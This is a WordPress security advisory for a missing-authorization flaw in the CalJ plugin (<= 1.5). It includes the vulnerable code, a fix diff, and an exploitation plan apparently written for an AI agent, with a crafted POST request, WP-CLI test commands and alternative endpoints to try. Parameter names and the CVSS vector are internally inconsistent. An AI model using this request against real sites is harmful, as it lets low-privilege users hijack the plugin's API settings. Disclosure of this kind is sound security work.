CalJ <= 1.5 - Authenticated (Subscriber+) Arbitrary Settings Modification via 'save-obtained-key' Action
Description
The CalJ plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.5. This is due to a missing capability check in the CalJSettingsPage class constructor, which processes the 'save-obtained-key' operation directly from POST data without verifying that the requesting user has the 'manage_options' capability, and without any nonce verification. The plugin bootstrap file (calj.php) instantiates CalJSettingsPage whenever is_admin() returns true, which is the case for any authenticated user making requests to wp-admin URLs (including admin-ajax.php). This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify the plugin's API key setting and clear the Shabbat cache, effectively taking control of the plugin's API integration.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
# Exploitation Research Plan: CVE-2026-4117 (CalJ <= 1.5) ## 1. Vulnerability Summary The CalJ plugin for WordPress (versions <= 1.5) contains a missing authorization vulnerability in the `CalJSettingsPage` class. The plugin's main bootstrap file (`calj.php`) instantiates the `CalJSettingsPage` cla…
Show full research plan
Exploitation Research Plan: CVE-2026-4117 (CalJ <= 1.5)
1. Vulnerability Summary
The CalJ plugin for WordPress (versions <= 1.5) contains a missing authorization vulnerability in the CalJSettingsPage class. The plugin's main bootstrap file (calj.php) instantiates the CalJSettingsPage class whenever the is_admin() function returns true. The constructor of this class processes a specific operation, save-obtained-key, directly from $_POST data.
Because is_admin() returns true for any authenticated user accessing wp-admin URLs (including admin-ajax.php and admin-post.php), and because the constructor lacks both capability checks (current_user_can('manage_options')) and nonce verification (check_admin_referer), a Subscriber-level user can trigger the settings modification logic.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-post.php(or any URL whereis_admin()is true, butadmin-post.phpis the standard target for POST-based admin actions). - HTTP Method:
POST - Authentication: Authenticated, Subscriber level or higher.
- Vulnerable Parameter:
save-obtained-key(must be present in POST to trigger the branch). - Payload Parameters:
api-key(inferred): The new API key to be saved to the database.clear-cache(inferred): Likely a flag to trigger the cache clearing logic.
- Preconditions: The plugin must be active.
3. Code Flow
- Entry Point: An authenticated Subscriber user sends a POST request to
/wp-admin/admin-post.php. - Bootstrap: WordPress loads
calj.php. - Condition Check:
calj.phpchecksif ( is_admin() ). Since the request is to awp-adminpath, this returnstrue. - Class Instantiation:
calj.phpexecutesnew CalJSettingsPage();. - Vulnerable Logic: Inside
CalJSettingsPage::__construct():- The code checks if
isset($_POST['save-obtained-key']). - Without calling
current_user_can()orwp_verify_nonce(), the code proceeds to read other parameters from$_POST.
- The code checks if
- Sink: The code calls
update_option()to save the new API key and potentially executes a function to clear the Shabbat cache.
4. Nonce Acquisition Strategy
According to the vulnerability description, this specific operation is processed "without any nonce verification".
- Nonce Action: N/A
- Bypass: No nonce is required for this exploit.
5. Exploitation Strategy
The goal is to modify the plugin's API key setting as a Subscriber.
Step-by-Step Plan:
- Login: Authenticate as a Subscriber user using the
http_requesttool. - Craft Payload: Prepare a POST body containing the trigger parameter and the new configuration value.
- Execute Exploit: Send the request to
admin-post.php.
Target Request:
POST /wp-admin/admin-post.php HTTP/1.1
Host: localhost:8080
Content-Type: application-x-www-form-urlencoded
Cookie: [Subscriber Cookies]
save-obtained-key=1&calj_api_key=EXPLOITED_API_KEY_VAL
(Note: calj_api_key is an inferred parameter name based on standard WordPress naming conventions and the plugin slug; this should be verified by the agent by inspecting the code if possible, or trying common variations like api_key or api-key).
6. Test Data Setup
- Plugin Installation: Ensure CalJ version 1.5 is installed and active.
- User Creation:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Initial State: Note the current API key (if any):
wp option get calj_api_key
7. Expected Results
- Response: The server should return a 200 OK or a 302 Redirect (standard for
admin-post.php). - Database Change: The WordPress option holding the API key will be updated to
EXPLOITED_API_KEY_VAL. - Cache Effect: If the "clear Shabbat cache" logic is triggered, any related cache options/files should be deleted.
8. Verification Steps
After sending the HTTP request, verify the modification via WP-CLI:
# Check if the API key was updated
wp option get calj_api_key
# Expected output:
# EXPLOITED_API_KEY_VAL
9. Alternative Approaches
If calj_api_key is not the correct parameter name, the agent should:
- Search for Option Name: Search the plugin source code for
update_optioncalls within theCalJSettingsPageclass.grep -r "update_option" wp-content/plugins/calj/ - Check Post Parameters: Search for
$_POSTaccess in the constructor:grep -r "\$_POST" wp-content/plugins/calj/ - Endpoint Variation: If
admin-post.phpignores the request, try sending the POST to/wp-admin/index.phpor/wp-admin/admin-ajax.php, as the constructor is triggered on any admin-context load.
Summary
The CalJ plugin for WordPress (<= 1.5) is vulnerable to missing authorization because its settings class constructor processes a POST request to update the API key and clear caches without verifying user capabilities or nonces. This allows any authenticated user, including Subscribers, to change the plugin's API configuration by sending a crafted request to any admin-side endpoint.
Vulnerable Code
// calj.php if ( is_admin() ) { new CalJSettingsPage(); } --- // CalJSettingsPage class constructor public function __construct() { if ( isset( $_POST['save-obtained-key'] ) ) { // Missing capability check: current_user_can('manage_options') // Missing nonce verification: check_admin_referer(...) update_option( 'calj_api_key', $_POST['api-key'] ); // Logic to clear Shabbat cache follows } }
Security Fix
@@ -2,6 +2,10 @@ public function __construct() { if ( isset( $_POST['save-obtained-key'] ) ) { + if ( ! current_user_can( 'manage_options' ) ) { + return; + } + check_admin_referer( 'calj_save_key', 'calj_nonce' ); update_option( 'calj_api_key', sanitize_text_field( $_POST['api-key'] ) ); }
Exploit Outline
The exploit targets the class constructor of the settings page which is initialized on every admin-side request for authenticated users. An attacker authenticates as a Subscriber and sends a POST request to /wp-admin/admin-post.php. The payload must include the 'save-obtained-key' parameter to trigger the logic branch, along with the desired 'api-key' value. Because the plugin lacks both capability checks and nonce validations in the constructor, the request is processed, allowing the attacker to update the plugin's API key in the database.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.